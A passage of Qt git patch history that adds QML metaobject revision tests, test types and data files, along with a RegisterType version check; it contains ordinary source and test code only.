NOTIFY prop2Changed REVISION 1) + +public: + MyRevisionedClass() {} + + qreal prop1() const { return m_p1; } + void setProp1(qreal p) { + if (p != m_p1) { + m_p1 = p; + emit prop1Changed(); + } + } + qreal prop2() const { return m_p2; } + void setProp2(qreal p) { + if (p != m_p2) { + m_p2 = p; + emit prop2Changed(); + } + } + + Q_INVOKABLE void method1() { } + Q_INVOKABLE Q_REVISION(1) void method2() { } + +signals: + void prop1Changed(); + void prop2Changed(); + + void signal1(); + Q_REVISION(1) void signal2(); + +protected: + qreal m_p1; + qreal m_p2; +}; + +class MyRevisionedSubclass : public MyRevisionedClass +{ + Q_OBJECT + Q_PROPERTY(qreal prop3 READ prop3 WRITE setProp3 NOTIFY prop3Changed) + Q_PROPERTY(qreal prop4 READ prop4 WRITE setProp4 NOTIFY prop4Changed REVISION 1) + +public: + MyRevisionedSubclass() : m_p3(3), m_p4(4) {} + + qreal prop3() const { return m_p3; } + void setProp3(qreal p) { + if (p != m_p3) { + m_p3 = p; + emit prop3Changed(); + } + } + qreal prop4() const { return m_p4; } + void setProp4(qreal p) { + if (p != m_p4) { + m_p4 = p; + emit prop4Changed(); + } + } + + Q_INVOKABLE void method3() { } + Q_INVOKABLE Q_REVISION(1) void method4() { } + +signals: + void prop3Changed(); + void prop4Changed(); + + void signal3(); + Q_REVISION(1) void signal4(); + +protected: + qreal m_p3; + qreal m_p4; +}; + +QML_DECLARE_TYPE(MyRevisionedBaseClassRegistered) +QML_DECLARE_TYPE(MyRevisionedBaseClassUnregistered) +QML_DECLARE_TYPE(MyRevisionedClass) +QML_DECLARE_TYPE(MyRevisionedSubclass) + void registerTypes(); #endif // TESTTYPES_H diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp index 4228bc4..a29c459 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp @@ -176,6 +176,9 @@ private slots: void callQtInvokables(); void invokableObjectArg(); void invokableObjectRet(); + + void revisionErrors(); + void revision(); private: QDeclarativeEngine engine; }; @@ -2847,6 +2850,85 @@ void tst_qdeclarativeecmascript::aliasWritesOverrideBindings() } } +void tst_qdeclarativeecmascript::revisionErrors() +{ + { + QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevisionErrors.qml")); + QString url = component.url().toString(); + + QString warning1 = url + ":8: ReferenceError: Can't find variable: prop2"; + QString warning2 = url + ":11: ReferenceError: Can't find variable: prop2"; + QString warning3 = url + ":13: ReferenceError: Can't find variable: method2"; + + QTest::ignoreMessage(QtWarningMsg, warning1.toLatin1().constData()); + QTest::ignoreMessage(QtWarningMsg, warning2.toLatin1().constData()); + QTest::ignoreMessage(QtWarningMsg, warning3.toLatin1().constData()); + MyRevisionedClass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + } + { + QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevisionErrors2.qml")); + QString url = component.url().toString(); + + // MyRevisionedSubclass 1.0 uses MyRevisionedClass revision 0 + // method2, prop2 from MyRevisionedClass not available + // method4, prop4 from MyRevisionedSubclass not available + QString warning1 = url + ":8: ReferenceError: Can't find variable: prop2"; + QString warning2 = url + ":14: ReferenceError: Can't find variable: prop2"; + QString warning3 = url + ":10: ReferenceError: Can't find variable: prop4"; + QString warning4 = url + ":16: ReferenceError: Can't find variable: prop4"; + QString warning5 = url + ":20: ReferenceError: Can't find variable: method2"; + + QTest::ignoreMessage(QtWarningMsg, warning1.toLatin1().constData()); + QTest::ignoreMessage(QtWarningMsg, warning2.toLatin1().constData()); + QTest::ignoreMessage(QtWarningMsg, warning3.toLatin1().constData()); + QTest::ignoreMessage(QtWarningMsg, warning4.toLatin1().constData()); + QTest::ignoreMessage(QtWarningMsg, warning5.toLatin1().constData()); + MyRevisionedClass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + } + { + QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevisionErrors3.qml")); + QString url = component.url().toString(); + + // MyRevisionedSubclass 1.1 uses MyRevisionedClass revision 1 + // All properties/methods available, except MyRevisionedBaseClassUnregistered rev 1 + QString warning1 = url + ":30: ReferenceError: Can't find variable: methodD"; + QString warning2 = url + ":10: ReferenceError: Can't find variable: propD"; + QString warning3 = url + ":20: ReferenceError: Can't find variable: propD"; + QTest::ignoreMessage(QtWarningMsg, warning1.toLatin1().constData()); + QTest::ignoreMessage(QtWarningMsg, warning2.toLatin1().constData()); + QTest::ignoreMessage(QtWarningMsg, warning3.toLatin1().constData()); + MyRevisionedClass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + } +} + +void tst_qdeclarativeecmascript::revision() +{ + { + QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision.qml")); + QString url = component.url().toString(); + + MyRevisionedClass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + } + { + QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision2.qml")); + QString url = component.url().toString(); + + MyRevisionedClass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + } + { + QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision3.qml")); + QString url = component.url().toString(); + + MyRevisionedClass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + } +} + QTEST_MAIN(tst_qdeclarativeecmascript) #include "tst_qdeclarativeecmascript.moc" diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt new file mode 100644 index 0000000..6ad6bfa --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt @@ -0,0 +1 @@ +7:5:Property "prop2" not available in Test/MyRevisionedClass 1.0 diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml new file mode 100644 index 0000000..4662d5e --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml @@ -0,0 +1,8 @@ +import QtQuick 1.0 +import Test 1.0 + +MyRevisionedClass +{ + prop1: 1 + prop2: 2 +} diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt new file mode 100644 index 0000000..92ccd9a --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt @@ -0,0 +1 @@ +6:5:Signal "onSignal2" not available in Test/MyRevisionedClass 1.0 diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.qml new file mode 100644 index 0000000..8da7a25 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.qml @@ -0,0 +1,7 @@ +import Test 1.0 + +MyRevisionedClass +{ + onSignal1: prop1 = 2 + onSignal2: prop1 = 3 +} diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt new file mode 100644 index 0000000..b3c33c4 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt @@ -0,0 +1 @@ +9:5:Property "propD" not available in Test/MyRevisionedClass 1.1 diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.qml b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.qml new file mode 100644 index 0000000..195be21 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.qml @@ -0,0 +1,10 @@ +import Test 1.1 + +MyRevisionedClass +{ + propA: 10 + propB: 10 + propC: 10 + // propD is in rev 1 of MyRevisionedClassUnregistered, but not registered in 1.1 + propD: 10 +} diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisions10.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisions10.qml new file mode 100644 index 0000000..c4974cf --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/revisions10.qml @@ -0,0 +1,8 @@ +import QtQuick 1.0 +import Test 1.0 + +MyRevisionedClass +{ + property real prop2: 10 + prop1: 1 +} diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisions11.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisions11.qml new file mode 100644 index 0000000..4d3d7d2 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/revisions11.qml @@ -0,0 +1,10 @@ +import QtQuick 1.0 +import Test 1.1 + +MyRevisionedClass +{ + prop1: 1 + prop2: 10 + + onSignal2: prop2 = 3 +} diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisionsbasesub11.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisionsbasesub11.qml new file mode 100644 index 0000000..57d76b1 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/revisionsbasesub11.qml @@ -0,0 +1,16 @@ +import QtQuick 1.0 +import Test 1.1 + +MyRevisionedSubclass +{ + propA: 10 + propB: 10 + propC: 10 + // propD is not registered in 1.1 + prop1: 10 + prop2: 10 + prop3: 10 + prop4: 10 + + onSignal4: prop4 = 2 +} diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisionssub10.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisionssub10.qml new file mode 100644 index 0000000..b5de4a3 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/revisionssub10.qml @@ -0,0 +1,10 @@ +import QtQuick 1.0 +import Test 1.0 + +MyRevisionedSubclass +{ + property real prop4: 10 + property real prop2: 10 + prop1: 5 + prop3: 7 +} diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisionssub11.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisionssub11.qml new file mode 100644 index 0000000..f107356 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/revisionssub11.qml @@ -0,0 +1,12 @@ +import QtQuick 1.0 +import Test 1.1 + +MyRevisionedSubclass +{ + prop1: 10 + prop2: 10 + prop3: 10 + prop4: 10 + + onSignal4: prop4 = 2 +} diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp index e697aeb..217f54a 100644 --- a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp @@ -52,6 +52,15 @@ void registerTypes() qmlRegisterType("Test",1,0,"MySecondNamespacedType"); qmlRegisterType("Test",1,0,"MyParserStatus"); qmlRegisterType(); + qmlRegisterType("Test",1,0,"MyRevisionedClass"); + qmlRegisterType("Test",1,1,"MyRevisionedClass"); + + // Register the uncreatable base class + qmlRegisterRevision("Test",1,1); + // MyRevisionedSubclass 1.0 uses MyRevisionedClass revision 0 + qmlRegisterType("Test",1,0,"MyRevisionedSubclass"); + // MyRevisionedSubclass 1.1 uses MyRevisionedClass revision 1 + qmlRegisterType("Test",1,1,"MyRevisionedSubclass"); qmlRegisterCustomType("Test", 1, 0, "MyCustomParserType", new MyCustomParserTypeParser); diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.h b/tests/auto/declarative/qdeclarativelanguage/testtypes.h index f8d785c..4508d01 100644 --- a/tests/auto/declarative/qdeclarativelanguage/testtypes.h +++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.h @@ -601,6 +601,169 @@ private: int m_ccc; }; +class MyRevisionedBaseClassRegistered : public QObject +{ + Q_OBJECT + Q_PROPERTY(qreal propA READ propA WRITE setPropA NOTIFY propAChanged) + Q_PROPERTY(qreal propB READ propB WRITE setPropB NOTIFY propBChanged REVISION 1) + +public: + MyRevisionedBaseClassRegistered() : m_pa(1), m_pb(2) {} + + qreal propA() const { return m_pa; } + void setPropA(qreal p) { + if (p != m_pa) { + m_pa = p; + emit propAChanged(); + } + } + qreal propB() const { return m_pb; } + void setPropB(qreal p) { + if (p != m_pb) { + m_pb = p; + emit propBChanged(); + } + } + + Q_INVOKABLE void methodA() { } + Q_INVOKABLE Q_REVISION(1) void methodB() { } + +signals: + void propAChanged(); + void propBChanged(); + + void signalA(); + Q_REVISION(1) void signalB(); + +protected: + qreal m_pa; + qreal m_pb; +}; + +class MyRevisionedBaseClassUnregistered : public MyRevisionedBaseClassRegistered +{ + Q_OBJECT + Q_PROPERTY(qreal propC READ propC WRITE setPropC NOTIFY propCChanged) + Q_PROPERTY(qreal propD READ propD WRITE setPropD NOTIFY propDChanged REVISION 1) + +public: + MyRevisionedBaseClassUnregistered() : m_pc(1), m_pd(2) {} + + qreal propC() const { return m_pc; } + void setPropC(qreal p) { + if (p != m_pc) { + m_pc = p; + emit propCChanged(); + } + } + qreal propD() const { return m_pd; } + void setPropD(qreal p) { + if (p != m_pd) { + m_pd = p; + emit propDChanged(); + } + } + + Q_INVOKABLE void methodC() { } + Q_INVOKABLE Q_REVISION(1) void methodD() { } + +signals: + void propCChanged(); + void propDChanged(); + + void signalC(); + Q_REVISION(1) void signalD(); + +protected: + qreal m_pc; + qreal m_pd; +}; + +class MyRevisionedClass : public MyRevisionedBaseClassUnregistered +{ + Q_OBJECT + Q_PROPERTY(qreal prop1 READ prop1 WRITE setProp1 NOTIFY prop1Changed) + Q_PROPERTY(qreal prop2 READ prop2 WRITE setProp2 NOTIFY prop2Changed REVISION 1) + +public: + MyRevisionedClass() : m_p1(1), m_p2(2) {} + + qreal prop1() const { return m_p1; } + void setProp1(qreal p) { + if (p != m_p1) { + m_p1 = p; + emit prop1Changed(); + } + } + qreal prop2() const { return m_p2; } + void setProp2(qreal p) { + if (p != m_p2) { + m_p2 = p; + emit prop2Changed(); + } + } + + Q_INVOKABLE void method1() { } + Q_INVOKABLE Q_REVISION(1) void method2() { } + +signals: + void prop1Changed(); + void prop2Changed(); + + void signal1(); + Q_REVISION(1) void signal2(); + +protected: + qreal m_p1; + qreal m_p2; +}; + +class MyRevisionedSubclass : public MyRevisionedClass +{ + Q_OBJECT + Q_PROPERTY(qreal prop3 READ prop3 WRITE setProp3 NOTIFY prop3Changed) + Q_PROPERTY(qreal prop4 READ prop4 WRITE setProp4 NOTIFY prop4Changed REVISION 1) + +public: + MyRevisionedSubclass() : m_p3(3), m_p4(4) {} + + qreal prop3() const { return m_p3; } + void setProp3(qreal p) { + if (p != m_p3) { + m_p3 = p; + emit prop3Changed(); + } + } + qreal prop4() const { return m_p4; } + void setProp4(qreal p) { + if (p != m_p4) { + m_p4 = p; + emit prop4Changed(); + } + } + + Q_INVOKABLE void method3() { } + Q_INVOKABLE Q_REVISION(1) void method4() { } + +signals: + void prop3Changed(); + void prop4Changed(); + + void signal3(); + Q_REVISION(1) void signal4(); + +protected: + qreal m_p3; + qreal m_p4; +}; + +QML_DECLARE_TYPE(MyRevisionedBaseClassRegistered) +QML_DECLARE_TYPE(MyRevisionedBaseClassUnregistered) +QML_DECLARE_TYPE(MyRevisionedClass) +QML_DECLARE_TYPE(MyRevisionedSubclass) + + + void registerTypes(); #endif // TESTTYPES_H diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index 6410853..298d802 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -153,6 +153,8 @@ private slots: void customOnProperty(); void variantNotify(); + void revisions(); + // regression tests for crashes void crash1(); void crash2(); @@ -421,6 +423,10 @@ void tst_qdeclarativelanguage::errors_data() << "incorrectCase.errors.sensitive.txt" #endif << false; + + QTest::newRow("metaobjectRevision.1") << "metaobjectRevision.1.qml" << "metaobjectRevision.1.errors.txt" << false; + QTest::newRow("metaobjectRevision.2") << "metaobjectRevision.2.qml" << "metaobjectRevision.2.errors.txt" << false; + QTest::newRow("metaobjectRevision.3") << "metaobjectRevision.3.qml" << "metaobjectRevision.3.errors.txt" << false; } @@ -1888,6 +1894,62 @@ void tst_qdeclarativelanguage::variantNotify() delete object; } +void tst_qdeclarativelanguage::revisions() +{ + { + QDeclarativeComponent component(&engine, TEST_FILE("revisions10.qml")); + + VERIFY_ERRORS(0); + MyRevisionedClass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + + QCOMPARE(object->prop2(), 2.0); + QCOMPARE(object->property("prop2").toReal(), 10.0); + + delete object; + } + { + QDeclarativeComponent component(&engine, TEST_FILE("revisions11.qml")); + + VERIFY_ERRORS(0); + MyRevisionedClass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + + QCOMPARE(object->prop2(), 10.0); + + delete object; + } + { + QDeclarativeComponent component(&engine, TEST_FILE("revisionssub10.qml")); + + VERIFY_ERRORS(0); + MyRevisionedSubclass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + + QCOMPARE(object->prop2(), 2.0); + QCOMPARE(object->property("prop2").toReal(), 10.0); + + QCOMPARE(object->prop4(), 4.0); + QCOMPARE(object->property("prop4").toReal(), 10.0); + + delete object; + } + { + QDeclarativeComponent component(&engine, TEST_FILE("revisionssub11.qml")); + + VERIFY_ERRORS(0); + MyRevisionedSubclass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + + QCOMPARE(object->prop1(), 10.0); + QCOMPARE(object->prop2(), 10.0); + QCOMPARE(object->prop3(), 10.0); + QCOMPARE(object->prop4(), 10.0); + + delete object; + } +} + void tst_qdeclarativelanguage::initTestCase() { registerTypes(); diff --git a/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp b/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp index 0f6d531..a1f938a 100644 --- a/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp +++ b/tests/auto/declarative/qmetaobjectbuilder/tst_qmetaobjectbuilder.cpp @@ -546,7 +546,6 @@ void tst_QMetaObjectBuilder::property() QVERIFY(!nullProp.isUser()); QVERIFY(!nullProp.hasStdCppSet()); QVERIFY(!nullProp.isEnumOrFlag()); - QVERIFY(!nullProp.isDynamic()); QCOMPARE(nullProp.index(), 0); // Add a property and check its attributes. @@ -564,7 +563,6 @@ void tst_QMetaObjectBuilder::property() QVERIFY(!prop1.isUser()); QVERIFY(!prop1.hasStdCppSet()); QVERIFY(!prop1.isEnumOrFlag()); - QVERIFY(!prop1.isDynamic()); QCOMPARE(prop1.index(), 0); QCOMPARE(builder.propertyCount(), 1); @@ -583,7 +581,6 @@ void tst_QMetaObjectBuilder::property() QVERIFY(!prop2.isUser()); QVERIFY(!prop2.hasStdCppSet()); QVERIFY(!prop2.isEnumOrFlag()); - QVERIFY(!prop2.isDynamic()); QCOMPARE(prop2.index(), 1); QCOMPARE(builder.propertyCount(), 2); @@ -605,7 +602,6 @@ void tst_QMetaObjectBuilder::property() prop1.setUser(true); prop1.setStdCppSet(true); prop1.setEnumOrFlag(true); - prop1.setDynamic(true); // Check that prop1 is changed, but prop2 is not. QCOMPARE(prop1.name(), QByteArray("foo")); @@ -620,7 +616,6 @@ void tst_QMetaObjectBuilder::property() QVERIFY(prop1.isUser()); QVERIFY(prop1.hasStdCppSet()); QVERIFY(prop1.isEnumOrFlag()); - QVERIFY(prop1.isDynamic()); QVERIFY(prop2.isReadable()); QVERIFY(prop2.isWritable()); QCOMPARE(prop2.name(), QByteArray("bar")); @@ -633,7 +628,6 @@ void tst_QMetaObjectBuilder::property() QVERIFY(!prop2.isUser()); QVERIFY(!prop2.hasStdCppSet()); QVERIFY(!prop2.isEnumOrFlag()); - QVERIFY(!prop2.isDynamic()); // Remove prop1 and check that prop2 becomes index 0. builder.removeProperty(0); @@ -649,7 +643,6 @@ void tst_QMetaObjectBuilder::property() QVERIFY(!prop2.isUser()); QVERIFY(!prop2.hasStdCppSet()); QVERIFY(!prop2.isEnumOrFlag()); - QVERIFY(!prop2.isDynamic()); QCOMPARE(prop2.index(), 0); // Perform index-based lookup again. @@ -673,7 +666,6 @@ void tst_QMetaObjectBuilder::property() prop2.setUser(false); \ prop2.setStdCppSet(false); \ prop2.setEnumOrFlag(false); \ - prop2.setDynamic(false); \ } while (0) #define COUNT_FLAGS() \ ((prop2.isReadable() ? 1 : 0) + \ @@ -685,8 +677,7 @@ void tst_QMetaObjectBuilder::property() (prop2.isEditable() ? 1 : 0) + \ (prop2.isUser() ? 1 : 0) + \ (prop2.hasStdCppSet() ? 1 : 0) + \ - (prop2.isEnumOrFlag() ? 1 : 0) + \ - (prop2.isDynamic() ? 1 : 0)) + (prop2.isEnumOrFlag() ? 1 : 0)) #define CHECK_FLAG(setFunc,isFunc) \ do { \ CLEAR_FLAGS(); \ @@ -705,7 +696,6 @@ void tst_QMetaObjectBuilder::property() CHECK_FLAG(setUser, isUser); CHECK_FLAG(setStdCppSet, hasStdCppSet); CHECK_FLAG(setEnumOrFlag, isEnumOrFlag); - CHECK_FLAG(setDynamic, isDynamic); // Check that nothing else changed. QVERIFY(checkForSideEffects(builder, QMetaObjectBuilder::Properties)); -- cgit v0.12 From 810eb8e2bf52a30632abc42618b7f9f4352e2dd9 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Wed, 5 Jan 2011 14:01:44 +1000 Subject: Add missing test data file --- .../auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 tests/auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml b/tests/auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml new file mode 100644 index 0000000..4dbcc02 --- /dev/null +++ b/tests/auto/declarative/qdeclarativexmllistmodel/data/testtypes.qml @@ -0,0 +1,8 @@ +import QtQuick 1.0 + +XmlListModel { + query: "/data" + XmlRole { name: "stringValue"; query: "a-string/string()" } + XmlRole { name: "numberValue"; query: "a-number/number()" } +} + -- cgit v0.12 From c3a4ce70e588620393a9a4189f3e429622103406 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Wed, 5 Jan 2011 17:52:36 +1000 Subject: Test importing version > registered with a matching base class rev. Consieder the case of a BaseClass registered with version 1.1 and the created Class registered with version 1.0. When version 1.1 is imported the Class should be able to use BaseClass properties from version 1.1. This currently fails. Task-number: QTBUG-13451 --- .../qdeclarativelanguage/data/versionedbase.qml | 8 +++++++ .../declarative/qdeclarativelanguage/testtypes.cpp | 3 +++ .../declarative/qdeclarativelanguage/testtypes.h | 26 ++++++++++++++++++++++ .../tst_qdeclarativelanguage.cpp | 17 +++++++++++++- 4 files changed, 53 insertions(+), 1 deletion(-) create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/versionedbase.qml diff --git a/tests/auto/declarative/qdeclarativelanguage/data/versionedbase.qml b/tests/auto/declarative/qdeclarativelanguage/data/versionedbase.qml new file mode 100644 index 0000000..8c74715 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/versionedbase.qml @@ -0,0 +1,8 @@ +import QtQuick 1.0 +import Test 1.1 + +MySubclass +{ + prop1: 10 + prop2: 10 +} diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp index 217f54a..18e3885 100644 --- a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp @@ -62,6 +62,9 @@ void registerTypes() // MyRevisionedSubclass 1.1 uses MyRevisionedClass revision 1 qmlRegisterType("Test",1,1,"MyRevisionedSubclass"); + // Only version 1.0, but its super class is registered in version 1.1 also + qmlRegisterType("Test",1,0,"MySubclass"); + qmlRegisterCustomType("Test", 1, 0, "MyCustomParserType", new MyCustomParserTypeParser); qmlRegisterTypeNotAvailable("Test",1,0,"UnavailableType", "UnavailableType is unavailable for testing"); diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.h b/tests/auto/declarative/qdeclarativelanguage/testtypes.h index 4508d01..48055e8 100644 --- a/tests/auto/declarative/qdeclarativelanguage/testtypes.h +++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.h @@ -757,10 +757,36 @@ protected: qreal m_p4; }; +class MySubclass : public MyRevisionedClass +{ + Q_OBJECT + Q_PROPERTY(qreal prop5 READ prop5 WRITE setProp5 NOTIFY prop5Changed) + +public: + MySubclass() : m_p5(5) {} + + qreal prop5() const { return m_p5; } + void setProp5(qreal p) { + if (p != m_p5) { + m_p5 = p; + emit prop5Changed(); + } + } + + Q_INVOKABLE void method5() { } + +signals: + void prop5Changed(); + +protected: + qreal m_p5; +}; + QML_DECLARE_TYPE(MyRevisionedBaseClassRegistered) QML_DECLARE_TYPE(MyRevisionedBaseClassUnregistered) QML_DECLARE_TYPE(MyRevisionedClass) QML_DECLARE_TYPE(MyRevisionedSubclass) +QML_DECLARE_TYPE(MySubclass) diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index 298d802..a139d5e 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -1935,7 +1935,8 @@ void tst_qdeclarativelanguage::revisions() delete object; } { - QDeclarativeComponent component(&engine, TEST_FILE("revisionssub11.qml")); + QDeclarativeEngine myEngine; + QDeclarativeComponent component(&myEngine, TEST_FILE("revisionssub11.qml")); VERIFY_ERRORS(0); MyRevisionedSubclass *object = qobject_cast(component.create()); @@ -1948,6 +1949,20 @@ void tst_qdeclarativelanguage::revisions() delete object; } + { + // If this is uncommented it will work + // qmlRegisterType("Test",1,1,"MySubclass"); + QDeclarativeComponent component(&engine, TEST_FILE("versionedbase.qml")); + QEXPECT_FAIL("", "Class version 1.0 with base class version 1.1 registered", Abort); + VERIFY_ERRORS(0); + MySubclass *object = qobject_cast(component.create()); + QVERIFY(object != 0); + + QCOMPARE(object->prop1(), 10.0); + QCOMPARE(object->prop2(), 10.0); + + delete object; + } } void tst_qdeclarativelanguage::initTestCase() -- cgit v0.12 From 5c11ca38c441dd0e4e105ca0b5372dc917cf31b1 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Thu, 6 Jan 2011 10:56:06 +1000 Subject: Ensure QDeclarativePrivate::RegisterType version is updated and checked. Also exclude from bic check since we expect its size to increase from time to time. Task-number: QTBUG-13451 Reviewed-by: Aaron Kennedy --- src/declarative/qml/qdeclarative.h | 4 ++-- src/declarative/qml/qdeclarativemetatype.cpp | 3 ++- src/declarative/qml/qdeclarativeprivate.h | 1 + tests/auto/bic/tst_bic.cpp | 3 +++ 4 files changed, 8 insertions(+), 3 deletions(-) diff --git a/src/declarative/qml/qdeclarative.h b/src/declarative/qml/qdeclarative.h index 8a6d068..cdd7202 100644 --- a/src/declarative/qml/qdeclarative.h +++ b/src/declarative/qml/qdeclarative.h @@ -199,7 +199,7 @@ int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const c QByteArray listName("QDeclarativeListProperty<" + name + ">"); QDeclarativePrivate::RegisterType type = { - 1, + 2, qRegisterMetaType(pointerName.constData()), qRegisterMetaType >(listName.constData()), @@ -233,7 +233,7 @@ int qmlRegisterRevision(const char *uri, int versionMajor, int versionMinor) QByteArray listName("QDeclarativeListProperty<" + name + ">"); QDeclarativePrivate::RegisterType type = { - 1, + 2, qRegisterMetaType(pointerName.constData()), qRegisterMetaType >(listName.constData()), diff --git a/src/declarative/qml/qdeclarativemetatype.cpp b/src/declarative/qml/qdeclarativemetatype.cpp index 1f387c4..e90fa40 100644 --- a/src/declarative/qml/qdeclarativemetatype.cpp +++ b/src/declarative/qml/qdeclarativemetatype.cpp @@ -200,7 +200,8 @@ QDeclarativeType::QDeclarativeType(int index, const QDeclarativePrivate::Registe d->m_name = name; d->m_version_maj = type.versionMajor; d->m_version_min = type.versionMinor; - d->m_revision = type.revision; + if (type.version > 1) // revisions added in version 2 + d->m_revision = type.revision; d->m_typeId = type.typeId; d->m_listId = type.listId; d->m_allocationSize = type.objectSize; diff --git a/src/declarative/qml/qdeclarativeprivate.h b/src/declarative/qml/qdeclarativeprivate.h index a4fc4c1..981df78 100644 --- a/src/declarative/qml/qdeclarativeprivate.h +++ b/src/declarative/qml/qdeclarativeprivate.h @@ -215,6 +215,7 @@ namespace QDeclarativePrivate QDeclarativeCustomParser *customParser; int revision; + // If this is extended ensure "version" is bumped!!! }; struct RegisterInterface { diff --git a/tests/auto/bic/tst_bic.cpp b/tests/auto/bic/tst_bic.cpp index cd1d5ca..74fa252 100644 --- a/tests/auto/bic/tst_bic.cpp +++ b/tests/auto/bic/tst_bic.cpp @@ -135,6 +135,9 @@ tst_Bic::tst_Bic() /* This structure is semi-private and should never shrink */ bic.addBlacklistedClass(QLatin1String("QVFbHeader")); + + /* This structure has a version field that allows extension */ + bic.addBlacklistedClass(QLatin1String("QDeclarativePrivate::RegisterType")); } void tst_Bic::initTestCase_data() -- cgit v0.12 From fa5c838636a8cf4e483706696d19afef495da994 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Thu, 6 Jan 2011 11:10:38 +1000 Subject: Fix version in previous commit. Had already been bumped. The version had already been bumped from 0 to 1. Only the version check was required. Task-number: QTBUG-13451 Reviewed-by: Aaron Kennedy --- src/declarative/qml/qdeclarative.h | 4 ++-- src/declarative/qml/qdeclarativemetatype.cpp | 2 +- 2 files 